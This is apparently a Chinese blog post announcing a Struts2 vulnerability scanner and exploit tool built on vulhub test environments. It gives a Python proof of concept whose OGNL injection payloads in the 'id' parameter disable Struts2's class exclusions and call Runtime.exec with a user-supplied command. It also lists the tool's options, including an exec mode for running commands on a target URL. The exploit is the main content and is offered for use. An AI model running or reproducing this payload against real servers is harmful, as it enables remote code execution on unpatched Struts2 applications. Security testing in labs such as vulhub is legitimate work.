Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。
本次更新了vulhub里面的struts2的全漏洞扫描。同时生成linux64位的运行软件。
linux下运行:
win下运行:
由于s2-059poc,没有回显,因此没有添加进去。
POC:
代码语言:javascript复制import requests
url = "http://127.0.0.1:8080"
data1 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('你的payload'))}"
}
res1 = requests.post(url, data=data1)
# print(res1.text)
res2 = requests.post(url, data=data2)
# print(res2.text)
用法:
代码语言:javascript复制COMMANDS:
help, h Shows a list of commands or help for one command
GLOBAL OPTIONS:
--mode value 值exec和scan
--vn value Vulnerability number (default: 0)
--url value set target url
--cmd value exec command(only work on exploit mode)
--data value data for special vuln
--help, -h show help (default: false)